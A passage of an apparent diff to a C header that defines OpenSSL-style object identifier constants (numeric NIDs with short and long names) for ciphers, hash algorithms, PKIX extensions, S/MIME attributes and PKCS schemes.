LN_capwapWTP "Ctrl/Provision WAP Termination" +#define SN_capwapWTP "capwapWTP" +#define NID_capwapAC 1023 +#define LN_capwapAC "Ctrl/provision WAP Access" +#define SN_capwapAC "capwapAC" +#define NID_ipsec_IKE 1022 +#define LN_ipsec_IKE "ipsec Internet Key Exchange" +#define SN_ipsec_IKE "ipsecIKE" +#define NID_dvcs 297 +#define LN_dvcs "dvcs" +#define SN_dvcs "DVCS" +#define NID_OCSP_sign 180 +#define LN_OCSP_sign "OCSP Signing" +#define SN_OCSP_sign "OCSPSigning" +#define NID_time_stamp 133 +#define LN_time_stamp "Time Stamping" +#define SN_time_stamp "timeStamping" +#define NID_ipsecUser 296 +#define LN_ipsecUser "IPSec User" +#define SN_ipsecUser "ipsecUser" +#define NID_ipsecTunnel 295 +#define LN_ipsecTunnel "IPSec Tunnel" +#define SN_ipsecTunnel "ipsecTunnel" +#define NID_ipsecEndSystem 294 +#define LN_ipsecEndSystem "IPSec End System" +#define SN_ipsecEndSystem "ipsecEndSystem" +#define NID_email_protect 132 +#define LN_email_protect "E-mail Protection" +#define SN_email_protect "emailProtection" +#define NID_code_sign 131 +#define LN_code_sign "Code Signing" +#define SN_code_sign "codeSigning" +#define NID_client_auth 130 +#define LN_client_auth "TLS Web Client Authentication" +#define SN_client_auth "clientAuth" +#define NID_server_auth 129 +#define LN_server_auth "TLS Web Server Authentication" +#define SN_server_auth "serverAuth" +#define NID_textNotice 293 +#define SN_textNotice "textNotice" +#define NID_id_qt_unotice 165 +#define LN_id_qt_unotice "Policy Qualifier User Notice" +#define SN_id_qt_unotice "id-qt-unotice" +#define NID_id_qt_cps 164 +#define LN_id_qt_cps "Policy Qualifier CPS" +#define SN_id_qt_cps "id-qt-cps" +#define NID_sbgp_autonomousSysNumv2 1240 +#define SN_sbgp_autonomousSysNumv2 "sbgp-autonomousSysNumv2" +#define NID_sbgp_ipAddrBlockv2 1239 +#define SN_sbgp_ipAddrBlockv2 "sbgp-ipAddrBlockv2" +#define NID_tlsfeature 1020 +#define LN_tlsfeature "TLS Feature" +#define SN_tlsfeature "tlsfeature" +#define NID_proxyCertInfo 663 +#define LN_proxyCertInfo "Proxy Certificate Information" +#define SN_proxyCertInfo "proxyCertInfo" +#define NID_sinfo_access 398 +#define LN_sinfo_access "Subject Information Access" +#define SN_sinfo_access "subjectInfoAccess" +#define NID_ac_proxying 397 +#define SN_ac_proxying "ac-proxying" +#define NID_sbgp_routerIdentifier 292 +#define SN_sbgp_routerIdentifier "sbgp-routerIdentifier" +#define NID_sbgp_autonomousSysNum 291 +#define SN_sbgp_autonomousSysNum "sbgp-autonomousSysNum" +#define NID_sbgp_ipAddrBlock 290 +#define SN_sbgp_ipAddrBlock "sbgp-ipAddrBlock" +#define NID_aaControls 289 +#define SN_aaControls "aaControls" +#define NID_ac_targeting 288 +#define SN_ac_targeting "ac-targeting" +#define NID_ac_auditEntity 1323 +#define NID_ac_auditIdentity 287 +#define LN_ac_auditIdentity "X509v3 Audit Identity" +#define SN_ac_auditIdentity "ac-auditIdentity" +#define NID_qcStatements 286 +#define SN_qcStatements "qcStatements" +#define NID_biometricInfo 285 +#define LN_biometricInfo "Biometric Info" +#define SN_biometricInfo "biometricInfo" +#define NID_info_access 177 +#define LN_info_access "Authority Information Access" +#define SN_info_access "authorityInfoAccess" +#define NID_id_mod_cmp2021_02 1253 +#define SN_id_mod_cmp2021_02 "id-mod-cmp2021-02" +#define NID_id_mod_cmp2021_88 1252 +#define SN_id_mod_cmp2021_88 "id-mod-cmp2021-88" +#define NID_id_mod_cmp2000_02 1251 +#define SN_id_mod_cmp2000_02 "id-mod-cmp2000-02" +#define NID_id_mod_cmp2000 284 +#define SN_id_mod_cmp2000 "id-mod-cmp2000" +#define NID_id_mod_dvcs 283 +#define SN_id_mod_dvcs "id-mod-dvcs" +#define NID_id_mod_ocsp 282 +#define SN_id_mod_ocsp "id-mod-ocsp" +#define NID_id_mod_timestamp_protocol 281 +#define SN_id_mod_timestamp_protocol "id-mod-timestamp-protocol" +#define NID_id_mod_attribute_cert 280 +#define SN_id_mod_attribute_cert "id-mod-attribute-cert" +#define NID_id_mod_qualified_cert_93 279 +#define SN_id_mod_qualified_cert_93 "id-mod-qualified-cert-93" +#define NID_id_mod_qualified_cert_88 278 +#define SN_id_mod_qualified_cert_88 "id-mod-qualified-cert-88" +#define NID_id_mod_cmp 277 +#define SN_id_mod_cmp "id-mod-cmp" +#define NID_id_mod_kea_profile_93 276 +#define SN_id_mod_kea_profile_93 "id-mod-kea-profile-93" +#define NID_id_mod_kea_profile_88 275 +#define SN_id_mod_kea_profile_88 "id-mod-kea-profile-88" +#define NID_id_mod_cmc 274 +#define SN_id_mod_cmc "id-mod-cmc" +#define NID_id_mod_crmf 273 +#define SN_id_mod_crmf "id-mod-crmf" +#define NID_id_pkix1_implicit_93 272 +#define SN_id_pkix1_implicit_93 "id-pkix1-implicit-93" +#define NID_id_pkix1_explicit_93 271 +#define SN_id_pkix1_explicit_93 "id-pkix1-explicit-93" +#define NID_id_pkix1_implicit_88 270 +#define SN_id_pkix1_implicit_88 "id-pkix1-implicit-88" +#define NID_id_pkix1_explicit_88 269 +#define SN_id_pkix1_explicit_88 "id-pkix1-explicit-88" +#define NID_id_ad 176 +#define SN_id_ad "id-ad" +#define NID_id_ppl 662 +#define SN_id_ppl "id-ppl" +#define NID_id_cct 268 +#define SN_id_cct "id-cct" +#define NID_id_cp 1238 +#define SN_id_cp "id-cp" +#define NID_id_qcs 267 +#define SN_id_qcs "id-qcs" +#define NID_id_aca 266 +#define SN_id_aca "id-aca" +#define NID_id_pda 265 +#define SN_id_pda "id-pda" +#define NID_id_on 264 +#define SN_id_on "id-on" +#define NID_id_cmc 263 +#define SN_id_cmc "id-cmc" +#define NID_id_alg 262 +#define SN_id_alg "id-alg" +#define NID_id_pkip 261 +#define SN_id_pkip "id-pkip" +#define NID_id_it 260 +#define SN_id_it "id-it" +#define NID_id_kp 128 +#define SN_id_kp "id-kp" +#define NID_id_qt 259 +#define SN_id_qt "id-qt" +#define NID_id_pe 175 +#define SN_id_pe "id-pe" +#define NID_id_pkix_mod 258 +#define SN_id_pkix_mod "id-pkix-mod" +#define NID_id_pkix 127 +#define SN_id_pkix "PKIX" +#define NID_bf_ofb64 94 +#define LN_bf_ofb64 "bf-ofb" +#define SN_bf_ofb64 "BF-OFB" +#define NID_bf_cfb64 93 +#define LN_bf_cfb64 "bf-cfb" +#define SN_bf_cfb64 "BF-CFB" +#define NID_bf_ecb 92 +#define LN_bf_ecb "bf-ecb" +#define SN_bf_ecb "BF-ECB" +#define NID_bf_cbc 91 +#define LN_bf_cbc "bf-cbc" +#define SN_bf_cbc "BF-CBC" +#define NID_idea_ofb64 46 +#define LN_idea_ofb64 "idea-ofb" +#define SN_idea_ofb64 "IDEA-OFB" +#define NID_idea_cfb64 35 +#define LN_idea_cfb64 "idea-cfb" +#define SN_idea_cfb64 "IDEA-CFB" +#define NID_idea_ecb 36 +#define LN_idea_ecb "idea-ecb" +#define SN_idea_ecb "IDEA-ECB" +#define NID_idea_cbc 34 +#define LN_idea_cbc "idea-cbc" +#define SN_idea_cbc "IDEA-CBC" +#define NID_ms_app_policies 1294 +#define LN_ms_app_policies "Microsoft Application Policies Extension" +#define SN_ms_app_policies "ms-app-policies" +#define NID_ms_cert_templ 1293 +#define LN_ms_cert_templ "Microsoft certificate template" +#define SN_ms_cert_templ "ms-cert-templ" +#define NID_ms_ntds_obj_sid 1291 +#define LN_ms_ntds_obj_sid "Microsoft NTDS AD objectSid" +#define SN_ms_ntds_obj_sid "ms-ntds-obj-sid" +#define NID_ms_ntds_sec_ext 1292 +#define LN_ms_ntds_sec_ext "Microsoft NTDS CA Extension" +#define SN_ms_ntds_sec_ext "ms-ntds-sec-ext" +#define NID_ms_upn 649 +#define LN_ms_upn "Microsoft User Principal Name" +#define SN_ms_upn "msUPN" +#define NID_ms_smartcard_login 648 +#define LN_ms_smartcard_login "Microsoft Smartcard Login" +#define SN_ms_smartcard_login "msSmartcardLogin" +#define NID_ms_efs 138 +#define LN_ms_efs "Microsoft Encrypted File System" +#define SN_ms_efs "msEFS" +#define NID_ms_sgc 137 +#define LN_ms_sgc "Microsoft Server Gated Crypto" +#define SN_ms_sgc "msSGC" +#define NID_ms_ctl_sign 136 +#define LN_ms_ctl_sign "Microsoft Trust List Signing" +#define SN_ms_ctl_sign "msCTLSign" +#define NID_ms_code_com 135 +#define LN_ms_code_com "Microsoft Commercial Code Signing" +#define SN_ms_code_com "msCodeCom" +#define NID_ms_code_ind 134 +#define LN_ms_code_ind "Microsoft Individual Code Signing" +#define SN_ms_code_ind "msCodeInd" +#define NID_ms_ext_req 171 +#define LN_ms_ext_req "Microsoft Extension Request" +#define SN_ms_ext_req "msExtReq" +#define NID_rc5_ofb64 123 +#define LN_rc5_ofb64 "rc5-ofb" +#define SN_rc5_ofb64 "RC5-OFB" +#define NID_rc5_cfb64 122 +#define LN_rc5_cfb64 "rc5-cfb" +#define SN_rc5_cfb64 "RC5-CFB" +#define NID_rc5_ecb 121 +#define LN_rc5_ecb "rc5-ecb" +#define SN_rc5_ecb "RC5-ECB" +#define NID_rc5_cbc 120 +#define LN_rc5_cbc "rc5-cbc" +#define SN_rc5_cbc "RC5-CBC" +#define NID_des_ede3_cbc 44 +#define LN_des_ede3_cbc "des-ede3-cbc" +#define SN_des_ede3_cbc "DES-EDE3-CBC" +#define NID_rc4_40 97 +#define LN_rc4_40 "rc4-40" +#define SN_rc4_40 "RC4-40" +#define NID_rc4 5 +#define LN_rc4 "rc4" +#define SN_rc4 "RC4" +#define NID_rc2_64_cbc 166 +#define LN_rc2_64_cbc "rc2-64-cbc" +#define SN_rc2_64_cbc "RC2-64-CBC" +#define NID_rc2_40_cbc 98 +#define LN_rc2_40_cbc "rc2-40-cbc" +#define SN_rc2_40_cbc "RC2-40-CBC" +#define NID_rc2_ofb64 40 +#define LN_rc2_ofb64 "rc2-ofb" +#define SN_rc2_ofb64 "RC2-OFB" +#define NID_rc2_cfb64 39 +#define LN_rc2_cfb64 "rc2-cfb" +#define SN_rc2_cfb64 "RC2-CFB" +#define NID_rc2_ecb 38 +#define LN_rc2_ecb "rc2-ecb" +#define SN_rc2_ecb "RC2-ECB" +#define NID_rc2_cbc 37 +#define LN_rc2_cbc "rc2-cbc" +#define SN_rc2_cbc "RC2-CBC" +#define NID_hmacWithSHA512_256 1194 +#define LN_hmacWithSHA512_256 "hmacWithSHA512-256" +#define NID_hmacWithSHA512_224 1193 +#define LN_hmacWithSHA512_224 "hmacWithSHA512-224" +#define NID_hmacWithSHA512 801 +#define LN_hmacWithSHA512 "hmacWithSHA512" +#define NID_hmacWithSHA384 800 +#define LN_hmacWithSHA384 "hmacWithSHA384" +#define NID_hmacWithSHA256 799 +#define LN_hmacWithSHA256 "hmacWithSHA256" +#define NID_hmacWithSHA224 798 +#define LN_hmacWithSHA224 "hmacWithSHA224" +#define NID_hmacWithSM3 1281 +#define LN_hmacWithSM3 "hmacWithSM3" +#define NID_SM2_with_SM3 1204 +#define LN_SM2_with_SM3 "SM2-with-SM3" +#define SN_SM2_with_SM3 "SM2-SM3" +#define NID_sm3WithRSAEncryption 1144 +#define LN_sm3WithRSAEncryption "sm3WithRSAEncryption" +#define SN_sm3WithRSAEncryption "RSA-SM3" +#define NID_sm3 1143 +#define LN_sm3 "sm3" +#define SN_sm3 "SM3" +#define NID_sm2 1172 +#define LN_sm2 "sm2" +#define SN_sm2 "SM2" +#define NID_hmacWithSHA1 163 +#define LN_hmacWithSHA1 "hmacWithSHA1" +#define NID_hmacWithMD5 797 +#define LN_hmacWithMD5 "hmacWithMD5" +#define NID_md5_sha1 114 +#define LN_md5_sha1 "md5-sha1" +#define SN_md5_sha1 "MD5-SHA1" +#define NID_md5 4 +#define LN_md5 "md5" +#define SN_md5 "MD5" +#define NID_md4 257 +#define LN_md4 "md4" +#define SN_md4 "MD4" +#define NID_md2 3 +#define LN_md2 "md2" +#define SN_md2 "MD2" +#define NID_safeContentsBag 155 +#define LN_safeContentsBag "safeContentsBag" +#define NID_secretBag 154 +#define LN_secretBag "secretBag" +#define NID_crlBag 153 +#define LN_crlBag "crlBag" +#define NID_certBag 152 +#define LN_certBag "certBag" +#define NID_pkcs8ShroudedKeyBag 151 +#define LN_pkcs8ShroudedKeyBag "pkcs8ShroudedKeyBag" +#define NID_keyBag 150 +#define LN_keyBag "keyBag" +#define NID_pbe_WithSHA1And40BitRC2_CBC 149 +#define LN_pbe_WithSHA1And40BitRC2_CBC "pbeWithSHA1And40BitRC2-CBC" +#define SN_pbe_WithSHA1And40BitRC2_CBC "PBE-SHA1-RC2-40" +#define NID_pbe_WithSHA1And128BitRC2_CBC 148 +#define LN_pbe_WithSHA1And128BitRC2_CBC "pbeWithSHA1And128BitRC2-CBC" +#define SN_pbe_WithSHA1And128BitRC2_CBC "PBE-SHA1-RC2-128" +#define NID_pbe_WithSHA1And2_Key_TripleDES_CBC 147 +#define LN_pbe_WithSHA1And2_Key_TripleDES_CBC "pbeWithSHA1And2-KeyTripleDES-CBC" +#define SN_pbe_WithSHA1And2_Key_TripleDES_CBC "PBE-SHA1-2DES" +#define NID_pbe_WithSHA1And3_Key_TripleDES_CBC 146 +#define LN_pbe_WithSHA1And3_Key_TripleDES_CBC "pbeWithSHA1And3-KeyTripleDES-CBC" +#define SN_pbe_WithSHA1And3_Key_TripleDES_CBC "PBE-SHA1-3DES" +#define NID_pbe_WithSHA1And40BitRC4 145 +#define LN_pbe_WithSHA1And40BitRC4 "pbeWithSHA1And40BitRC4" +#define SN_pbe_WithSHA1And40BitRC4 "PBE-SHA1-RC4-40" +#define NID_pbe_WithSHA1And128BitRC4 144 +#define LN_pbe_WithSHA1And128BitRC4 "pbeWithSHA1And128BitRC4" +#define SN_pbe_WithSHA1And128BitRC4 "PBE-SHA1-RC4-128" +#define NID_id_aa_CMSAlgorithmProtection 1263 +#define SN_id_aa_CMSAlgorithmProtection "id-aa-CMSAlgorithmProtection" +#define NID_x509Crl 160 +#define LN_x509Crl "x509Crl" +#define NID_sdsiCertificate 159 +#define LN_sdsiCertificate "sdsiCertificate" +#define NID_x509Certificate 158 +#define LN_x509Certificate "x509Certificate" +#define NID_LocalKeySet 856 +#define LN_LocalKeySet "Microsoft Local Key set" +#define SN_LocalKeySet "LocalKeySet" +#define NID_ms_csp_name 417 +#define LN_ms_csp_name "Microsoft CSP Name" +#define SN_ms_csp_name "CSPName" +#define NID_localKeyID 157 +#define LN_localKeyID "localKeyID" +#define NID_friendlyName 156 +#define LN_friendlyName "friendlyName" +#define NID_id_smime_cti_ets_proofOfCreation 256 +#define SN_id_smime_cti_ets_proofOfCreation "id-smime-cti-ets-proofOfCreation" +#define NID_id_smime_cti_ets_proofOfApproval 255 +#define SN_id_smime_cti_ets_proofOfApproval "id-smime-cti-ets-proofOfApproval" +#define NID_id_smime_cti_ets_proofOfSender 254 +#define SN_id_smime_cti_ets_proofOfSender "id-smime-cti-ets-proofOfSender" +#define NID_id_smime_cti_ets_proofOfDelivery 253 +#define SN_id_smime_cti_ets_proofOfDelivery "id-smime-cti-ets-proofOfDelivery" +#define NID_id_smime_cti_ets_proofOfReceipt 252 +#define SN_id_smime_cti_ets_proofOfReceipt "id-smime-cti-ets-proofOfReceipt" +#define NID_id_smime_cti_ets_proofOfOrigin 251 +#define SN_id_smime_cti_ets_proofOfOrigin "id-smime-cti-ets-proofOfOrigin" +#define NID_id_smime_spq_ets_sqt_unotice 250 +#define SN_id_smime_spq_ets_sqt_unotice "id-smime-spq-ets-sqt-unotice" +#define NID_id_smime_spq_ets_sqt_uri 249 +#define SN_id_smime_spq_ets_sqt_uri "id-smime-spq-ets-sqt-uri" +#define NID_id_smime_cd_ldap 248 +#define SN_id_smime_cd_ldap "id-smime-cd-ldap" +#define NID_id_alg_PWRI_KEK 893 +#define SN_id_alg_PWRI_KEK "id-alg-PWRI-KEK" +#define NID_id_smime_alg_CMSRC2wrap 247 +#define SN_id_smime_alg_CMSRC2wrap "id-smime-alg-CMSRC2wrap" +#define NID_id_smime_alg_CMS3DESwrap 246 +#define SN_id_smime_alg_CMS3DESwrap "id-smime-alg-CMS3DESwrap" +#define NID_id_smime_alg_ESDH 245 +#define SN_id_smime_alg_ESDH "id-smime-alg-ESDH" +#define NID_id_smime_alg_RC2wrap 244 +#define SN_id_smime_alg_RC2wrap "id-smime-alg-RC2wrap" +#define NID_id_smime_alg_3DESwrap 243 +#define SN_id_smime_alg_3DESwrap "id-smime-alg-3DESwrap" +#define NID_id_smime_alg_ESDHwithRC2 242 +#define SN_id_smime_alg_ESDHwithRC2 "id-smime-alg-ESDHwithRC2" +#define NID_id_smime_alg_ESDHwith3DES 241 +#define SN_id_smime_alg_ESDHwith3DES "id-smime-alg-ESDHwith3DES" +#define NID_id_aa_ets_archiveTimestampV2 1280 +#define SN_id_aa_ets_archiveTimestampV2 "id-aa-ets-archiveTimestampV2" +#define NID_id_smime_aa_signingCertificateV2 1086 +#define SN_id_smime_aa_signingCertificateV2 "id-smime-aa-signingCertificateV2" +#define NID_id_aa_ets_attrRevocationRefs 1262 +#define SN_id_aa_ets_attrRevocationRefs "id-aa-ets-attrRevocationRefs" +#define NID_id_aa_ets_attrCertificateRefs 1261 +#define SN_id_aa_ets_attrCertificateRefs "id-aa-ets-attrCertificateRefs" +#define NID_id_smime_aa_dvcs_dvc 240 +#define SN_id_smime_aa_dvcs_dvc "id-smime-aa-dvcs-dvc" +#define NID_id_smime_aa_signatureType 239 +#define SN_id_smime_aa_signatureType "id-smime-aa-signatureType" +#define NID_id_smime_aa_ets_archiveTimeStamp 238 +#define SN_id_smime_aa_ets_archiveTimeStamp "id-smime-aa-ets-archiveTimeStamp" +#define NID_id_smime_aa_ets_certCRLTimestamp 237 +#define SN_id_smime_aa_ets_certCRLTimestamp "id-smime-aa-ets-certCRLTimestamp" +#define NID_id_smime_aa_ets_escTimeStamp 236 +#define SN_id_smime_aa_ets_escTimeStamp "id-smime-aa-ets-escTimeStamp" +#define NID_id_smime_aa_ets_revocationValues 235 +#define SN_id_smime_aa_ets_revocationValues "id-smime-aa-ets-revocationValues" +#define NID_id_smime_aa_ets_certValues 234 +#define SN_id_smime_aa_ets_certValues "id-smime-aa-ets-certValues" +#define NID_id_smime_aa_ets_RevocationRefs 233 +#define SN_id_smime_aa_ets_RevocationRefs "id-smime-aa-ets-RevocationRefs" +#define NID_id_smime_aa_ets_CertificateRefs 232 +#define SN_id_smime_aa_ets_CertificateRefs "id-smime-aa-ets-CertificateRefs" +#define NID_id_smime_aa_ets_contentTimestamp 231 +#define SN_id_smime_aa_ets_contentTimestamp "id-smime-aa-ets-contentTimestamp" +#define NID_id_smime_aa_ets_otherSigCert 230 +#define SN_id_smime_aa_ets_otherSigCert "id-smime-aa-ets-otherSigCert" +#define NID_id_smime_aa_ets_signerAttr 229 +#define SN_id_smime_aa_ets_signerAttr "id-smime-aa-ets-signerAttr" +#define NID_id_smime_aa_ets_signerLocation 228 +#define SN_id_smime_aa_ets_signerLocation "id-smime-aa-ets-signerLocation" +#define NID_id_smime_aa_ets_commitmentType 227 +#define SN_id_smime_aa_ets_commitmentType "id-smime-aa-ets-commitmentType" +#define NID_id_smime_aa_ets_sigPolicyId 226 +#define SN_id_smime_aa_ets_sigPolicyId "id-smime-aa-ets-sigPolicyId" +#define NID_id_smime_aa_timeStampToken 225 +#define SN_id_smime_aa_timeStampToken "id-smime-aa-timeStampToken" +#define NID_id_smime_aa_smimeEncryptCerts 224 +#define SN_id_smime_aa_smimeEncryptCerts "id-smime-aa-smimeEncryptCerts" +#define NID_id_smime_aa_signingCertificate 223 +#define SN_id_smime_aa_signingCertificate "id-smime-aa-signingCertificate" +#define NID_id_smime_aa_encrypKeyPref 222 +#define SN_id_smime_aa_encrypKeyPref "id-smime-aa-encrypKeyPref" +#define NID_id_smime_aa_contentReference 221 +#define SN_id_smime_aa_contentReference "id-smime-aa-contentReference" +#define NID_id_smime_aa_equivalentLabels 220 +#define SN_id_smime_aa_equivalentLabels "id-smime-aa-equivalentLabels" +#define NID_id_smime_aa_macValue 219 +#define SN_id_smime_aa_macValue "id-smime-aa-macValue" +#define NID_id_smime_aa_contentIdentifier 218 +#define SN_id_smime_aa_contentIdentifier "id-smime-aa-contentIdentifier" +#define NID_id_smime_aa_encapContentType 217 +#define SN_id_smime_aa_encapContentType "id-smime-aa-encapContentType" +#define NID_id_smime_aa_msgSigDigest 216 +#define SN_id_smime_aa_msgSigDigest "id-smime-aa-msgSigDigest" +#define NID_id_smime_aa_contentHint 215 +#define SN_id_smime_aa_contentHint "id-smime-aa-contentHint" +#define NID_id_smime_aa_mlExpandHistory 214 +#define SN_id_smime_aa_mlExpandHistory "id-smime-aa-mlExpandHistory" +#define NID_id_smime_aa_securityLabel 213 +#define SN_id_smime_aa_securityLabel "id-smime-aa-securityLabel" +#define NID_id_smime_aa_receiptRequest 212 +#define SN_id_smime_aa_receiptRequest "id-smime-aa-receiptRequest" +#define NID_id_ct_rpkiSignedPrefixList 1320 +#define SN_id_ct_rpkiSignedPrefixList "id-ct-rpkiSignedPrefixList" +#define NID_id_ct_signedTAL 1284 +#define SN_id_ct_signedTAL "id-ct-signedTAL" +#define NID_id_ct_ASPA 1250 +#define SN_id_ct_ASPA "id-ct-ASPA" +#define NID_id_ct_signedChecklist 1247 +#define SN_id_ct_signedChecklist "id-ct-signedChecklist" +#define NID_id_ct_geofeedCSVwithCRLF 1246 +#define SN_id_ct_geofeedCSVwithCRLF "id-ct-geofeedCSVwithCRLF" +#define NID_id_ct_resourceTaggedAttest 1237 +#define SN_id_ct_resourceTaggedAttest "id-ct-resourceTaggedAttest" +#define NID_id_ct_rpkiGhostbusters 1236 +#define SN_id_ct_rpkiGhostbusters "id-ct-rpkiGhostbusters" +#define NID_id_ct_xml 1060 +#define SN_id_ct_xml "id-ct-xml" +#define NID_id_ct_asciiTextWithCRLF 787 +#define SN_id_ct_asciiTextWithCRLF "id-ct-asciiTextWithCRLF" +#define NID_id_ct_rpkiManifest 1235 +#define SN_id_ct_rpkiManifest "id-ct-rpkiManifest" +#define NID_id_ct_routeOriginAuthz 1234 +#define SN_id_ct_routeOriginAuthz "id-ct-routeOriginAuthz" +#define NID_id_smime_ct_authEnvelopedData 1059 +#define SN_id_smime_ct_authEnvelopedData "id-smime-ct-authEnvelopedData" +#define NID_id_smime_ct_contentCollection 1058 +#define SN_id_smime_ct_contentCollection "id-smime-ct-contentCollection" +#define NID_id_smime_ct_compressedData 786 +#define SN_id_smime_ct_compressedData "id-smime-ct-compressedData" +#define NID_id_smime_ct_DVCSResponseData 211 +#define SN_id_smime_ct_DVCSResponseData "id-smime-ct-DVCSResponseData" +#define NID_id_smime_ct_DVCSRequestData 210 +#define SN_id_smime_ct_DVCSRequestData "id-smime-ct-DVCSRequestData" +#define NID_id_smime_ct_contentInfo 209 +#define SN_id_smime_ct_contentInfo "id-smime-ct-contentInfo" +#define NID_id_smime_ct_TDTInfo 208 +#define SN_id_smime_ct_TDTInfo "id-smime-ct-TDTInfo" +#define NID_id_smime_ct_TSTInfo 207 +#define SN_id_smime_ct_TSTInfo "id-smime-ct-TSTInfo" +#define NID_id_smime_ct_publishCert 206 +#define SN_id_smime_ct_publishCert "id-smime-ct-publishCert" +#define NID_id_smime_ct_authData 205 +#define SN_id_smime_ct_authData "id-smime-ct-authData" +#define NID_id_smime_ct_receipt 204 +#define SN_id_smime_ct_receipt "id-smime-ct-receipt" +#define NID_id_smime_mod_ets_eSigPolicy_97 203 +#define SN_id_smime_mod_ets_eSigPolicy_97 "id-smime-mod-ets-eSigPolicy-97" +#define NID_id_smime_mod_ets_eSigPolicy_88 202 +#define SN_id_smime_mod_ets_eSigPolicy_88 "id-smime-mod-ets-eSigPolicy-88" +#define NID_id_smime_mod_ets_eSignature_97 201 +#define SN_id_smime_mod_ets_eSignature_97 "id-smime-mod-ets-eSignature-97" +#define NID_id_smime_mod_ets_eSignature_88 200 +#define SN_id_smime_mod_ets_eSignature_88 "id-smime-mod-ets-eSignature-88" +#define NID_id_smime_mod_msg_v3 199 +#define SN_id_smime_mod_msg_v3 "id-smime-mod-msg-v3" +#define NID_id_smime_mod_oid 198 +#define SN_id_smime_mod_oid "id-smime-mod-oid" +#define NID_id_smime_mod_ess 197 +#define SN_id_smime_mod_ess "id-smime-mod-ess" +#define NID_id_smime_mod_cms 196 +#define SN_id_smime_mod_cms "id-smime-mod-cms" +#define NID_id_smime_cti 195 +#define SN_id_smime_cti "id-smime-cti" +#define NID_id_smime_spq 194 +#define SN_id_smime_spq "id-smime-spq" +#define NID_id_smime_cd 193 +#define SN_id_smime_cd "id-smime-cd" +#define NID_id_smime_alg 192 +#define SN_id_smime_alg "id-smime-alg" +#define NID_id_smime_aa 191 +#define SN_id_smime_aa "id-smime-aa" +#define NID_id_smime_ct 190 +#define SN_id_smime_ct "id-smime-ct" +#define NID_id_smime_mod 189 +#define SN_id_smime_mod "id-smime-mod" +#define NID_SMIME 188 +#define LN_SMIME "S/MIME" +#define SN_SMIME "SMIME" +#define NID_SMIMECapabilities 167 +#define LN_SMIMECapabilities "S/MIME Capabilities" +#define SN_SMIMECapabilities "SMIME-CAPS" +#define NID_ext_req 172 +#define LN_ext_req "Extension Request" +#define SN_ext_req "extReq" +#define NID_pkcs9_extCertAttributes 56 +#define LN_pkcs9_extCertAttributes "extendedCertificateAttributes" +#define NID_pkcs9_unstructuredAddress 55 +#define LN_pkcs9_unstructuredAddress "unstructuredAddress" +#define NID_pkcs9_challengePassword 54 +#define LN_pkcs9_challengePassword "challengePassword" +#define NID_pkcs9_countersignature 53 +#define LN_pkcs9_countersignature "countersignature" +#define NID_pkcs9_signingTime 52 +#define LN_pkcs9_signingTime "signingTime" +#define NID_pkcs9_messageDigest 51 +#define LN_pkcs9_messageDigest "messageDigest" +#define NID_pkcs9_contentType 50 +#define LN_pkcs9_contentType "contentType" +#define NID_pkcs9_unstructuredName 49 +#define LN_pkcs9_unstructuredName "unstructuredName" +#define LN_pkcs9_emailAddress "emailAddress" +#define NID_pkcs9 47 +#define SN_pkcs9 "pkcs9" +#define NID_pkcs7_encrypted 26 +#define LN_pkcs7_encrypted "pkcs7-encryptedData" +#define NID_pkcs7_digest 25 +#define LN_pkcs7_digest "pkcs7-digestData" +#define NID_pkcs7_signedAndEnveloped 24 +#define LN_pkcs7_signedAndEnveloped "pkcs7-signedAndEnvelopedData" +#define NID_pkcs7_enveloped 23 +#define LN_pkcs7_enveloped "pkcs7-envelopedData" +#define LN_pkcs7_signed "pkcs7-signedData" +#define LN_pkcs7_data "pkcs7-data" +#define NID_pkcs7 20 +#define SN_pkcs7 "pkcs7" +#define NID_pbmac1 162 +#define LN_pbmac1 "PBMAC1" +#define NID_pbes2 161 +#define LN_pbes2 "PBES2" +#define NID_id_pbkdf2 69 +#define LN_id_pbkdf2 "PBKDF2" +#define NID_pbeWithSHA1AndRC2_CBC 68 +#define LN_pbeWithSHA1AndRC2_CBC "pbeWithSHA1AndRC2-CBC" +#define SN_pbeWithSHA1AndRC2_CBC "PBE-SHA1-RC2-64" +#define NID_pbeWithSHA1AndDES_CBC 170 +#define LN_pbeWithSHA1AndDES_CBC "pbeWithSHA1AndDES-CBC" +#define SN_pbeWithSHA1AndDES_CBC "PBE-SHA1-DES" +#define NID_pbeWithMD5AndRC2_CBC 169 +#define LN_pbeWithMD5AndRC2_CBC "pbeWithMD5AndRC2-CBC" +#define SN_pbeWithMD5AndRC2_CBC "PBE-MD5-RC2-64" +#define NID_pbeWithMD2AndRC2_CBC 168 +#define LN_pbeWithMD2AndRC2_CBC "pbeWithMD2AndRC2-CBC" +#define SN_pbeWithMD2AndRC2_CBC "PBE-MD2-RC2-64" +#define NID_pbeWithMD5AndDES_CBC 10 +#define LN_pbeWithMD5AndDES_CBC "pbeWithMD5AndDES-CBC" +#define SN_pbeWithMD5AndDES_CBC "PBE-MD5-DES" +#define NID_pbeWithMD2AndDES_CBC 9 +#define LN_pbeWithMD2AndDES_CBC "pbeWithMD2AndDES-CBC" +#define SN_pbeWithMD2AndDES_CBC "PBE-MD2-DES" +#define NID_pkcs5 187 +#define SN_pkcs5 "pkcs5" +#define NID_dhKeyAgreement 28 +#define LN_dhKeyAgreement "dhKeyAgreement" +#define NID_pkcs3 27 +#define SN_pkcs3 "pkcs3" +#define NID_sha512_256WithRSAEncryption 1146 +#define LN_sha512_256WithRSAEncryption "sha512-256WithRSAEncryption" +#define SN_sha512_256WithRSAEncryption "RSA-SHA512/256" +#define NID_sha512_224WithRSAEncryption 1145 +#define LN_sha512_224WithRSAEncryption "sha512-224WithRSAEncryption" +#define SN_sha512_224WithRSAEncryption "RSA-SHA512/224" +#define NID_sha224WithRSAEncryption 671 +#define LN_sha224WithRSAEncryption "sha224WithRSAEncryption" +#define SN_sha224WithRSAEncryption "RSA-SHA224" +#define NID_sha512WithRSAEncryption 670 +#define LN_sha512WithRSAEncryption "sha512WithRSAEncryption" +#define SN_sha512WithRSAEncryption "RSA-SHA512" +#define NID_sha384WithRSAEncryption 669 +#define LN_sha384WithRSAEncryption "sha384WithRSAEncryption" +#define SN_sha384WithRSAEncryption "RSA-SHA384" +#define NID_sha256WithRSAEncryption 668 +#define LN_sha256WithRSAEncryption "sha256WithRSAEncryption" +#define SN_sha256WithRSAEncryption "RSA-SHA256" +#define NID_rsassaPss 912 +#define LN_rsassaPss "rsassaPss" +#define SN_rsassaPss "RSASSA-PSS" +#define NID_pSpecified 935 +#define LN_pSpecified "pSpecified" +#define SN_pSpecified "PSPECIFIED" +#define NID_mgf1 911 +#define LN_mgf1 "mgf1" 